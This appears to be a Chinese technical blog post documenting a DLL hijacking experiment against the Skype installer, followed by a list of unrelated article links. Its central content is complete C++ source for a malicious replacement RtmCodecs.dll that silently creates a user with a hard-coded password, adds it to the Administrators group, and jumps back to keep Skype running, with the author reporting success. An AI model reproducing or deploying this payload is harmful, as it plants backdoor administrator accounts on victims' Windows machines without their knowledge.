博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
dll劫持技术探索
阅读量:7154 次
发布时间:2019-06-29

本文共 2914 字,大约阅读时间需要 9 分钟。

0x1:实验背景

  看到国外一篇文章,大致描述如下:

Hi,There are a dll planting vuln in skype installer. This vuln had beenreported to Microsoft but they decided not fix this.Here is the vulnerability details:------Skype installer in Windows is open to DLL hijacking.Skype looks for a specific DLL by dynamically going through a set ofpredefined directories. One of the directory being scanned is theinstallation directory, and this is exactly what is abused in thisvulnerability.

 

  根据描述我们可以知道skype存在dll劫持漏洞,在试验中需要劫持的dll为RtmCodecs.dll,接下来我们开始试验。

0x2: dll劫持原理

  由于中只包含DLL名而没有它的路径名,因此加载程序必须在磁盘上搜索。首先会尝试从当前程序所在的目录加载DLL,如果没找到,则在中查找,最后是在中列出的各个目录下查找。利用这个特点,先伪造一个系统同名的DLL,提供同样的,每个输出函数转向真正的系统DLL。程序调用系统DLL时会先调用当前目录下伪造的DLL,完成相关功能后,再跳到系统DLL同名函数里执行。这个过程用个形象的词来描述就是系统DLL被劫持(hijack)了。

 

0x3:实验过程

  (1) 编写一个劫持指定dll程序原理

1.查看被劫持的DLL的导出函数表。2.编程实现劫持DLL向原DLL的导出函数的转发,并加入你的“恶意代码”。

 

   (2) 由于文章里给出一个弹出会话框功能的dll,这里我们先看看作者怎么实现的。

 

从上图可以看出,作者直接在DLL入口执行一个msaageBox函数 弹出对话框。我们也这样实现一个函数添加用户试试,主要代码如下

msi.h

#pragma once#ifdef DLLEXPORT#define DLL_INTERFACE __declspec(dllexport)#else#define DLL_INTERFACE __declspec(dllimport)#endifextern "C"{	DLL_INTERFACE void adduser();	 	}

 msi.cpp

// msi.cpp : 定义 DLL 应用程序的导出函数。//#include "stdafx.h"#define DLLEXPORT#include "msi.h"DLL_INTERFACE void adduser(){	NET_API_STATUS		nStatus;	DWORD dwError		= 0;	DWORD dwLevel		= 1;	USER_INFO_1			ui;	ui.usri1_name		= L"iiis";   //用户名	ui.usri1_password	= L"password123!@#";   //密码	//ui.usri1_name		= argv[1];	//ui.usri1_password	= argv[1];	ui.usri1_priv		= USER_PRIV_USER;  //权限	ui.usri1_home_dir	= NULL;	ui.usri1_comment	= NULL;	ui.usri1_flags		= UF_SCRIPT|UF_DONT_EXPIRE_PASSWD|UF_PASSWD_CANT_CHANGE; //登录脚本执行,密码不可更改,密码永不过期	ui.usri1_script_path = NULL;		nStatus = NetUserAdd(					NULL,					dwLevel,					(LPBYTE)&ui,					&dwError					);	if ( nStatus == NERR_Success || nStatus == NERR_UserExists )	{		std::cout << "add user success" << std::endl;	}	else	{		std::cout << "add user failed: " << nStatus << std::endl;		exit(-1);	}	LOCALGROUP_MEMBERS_INFO_3 account;	account.lgrmi3_domainandname=ui.usri1_name; //传入用户名		nStatus = NetLocalGroupAddMembers(								NULL,								L"Administrators",								3,								(LPBYTE)&account,								1);	if ( nStatus == NERR_Success )	{		std::cout << "add localgroup success" << std::endl;	}	else	{		std::cout << "add localgroup failed: " << nStatus << std::endl;		exit(-1);	}	__asm JMP EAX;  // 初次测试没有这一句}

 编译,放进skpye的phone目录替换RtmCodecs.dll,然后启动skype,如图:

劫持成功,但是skype崩溃掉了,分析一下原因,大概是没有实现劫持DLL向原DLL的导出函数的转发导致的,但是作者也没有这样实现怎么就不崩溃呢,于是反编译了一下skype原RtmCodecs.dll看看导出函数是长啥样的,如下图:

结合IDA里面执行完messageBox函数后的eax清零操作,大概了解,应该在Adduser()执行完毕后对返回进行一下处理,于是在Adduser()函数体末尾添加

__asm JMP EAX;

 指令,再编译测试,如下图:

成功劫持并添加用户,skype也没有崩溃。

 

0x4 后记:

  上述就是整个实验过程,当然在劫持指定dll的时候,为了程序能正常使用按照编写一个劫持指定dll程序原理去实现效果最好,在本次试验中,这个过程忽略了。

0x5 参考:

  1. http://www.exploitalert.com/view-details.html?id=24885

  2. http://www.freebuf.com/articles/78807.html

 

转载于:https://www.cnblogs.com/persuit/p/5924156.html

你可能感兴趣的文章
c-5
查看>>
CentOS7 Firewall超详细使用方法
查看>>
grunt 自定义任务实现js文件的混淆及加密
查看>>
Spring AOP专业术语解析
查看>>
这四个密码算法用到了矩阵。
查看>>
[CSS碎片知识] 深入理解 vertical-align
查看>>
vTiger研究记录
查看>>
Maven详解
查看>>
[Android Memory] Android 的 StrictMode
查看>>
学java快2月了,对其应该有点清晰的认识了
查看>>
[NOI2006]最大获利
查看>>
@Html.Raw() 方法输出带有html标签的字符串
查看>>
HttpUtility.UrlEncode,Server.UrlEncode 的区别
查看>>
设计模式
查看>>
Java数组
查看>>
用servlet进行用户名和密码校验
查看>>
思维的误区之工资
查看>>
数据层缓存优化
查看>>
【转载】#349 - The Difference Between Virtual and Non-Virtual Methods
查看>>
断点续传,下载。
查看>>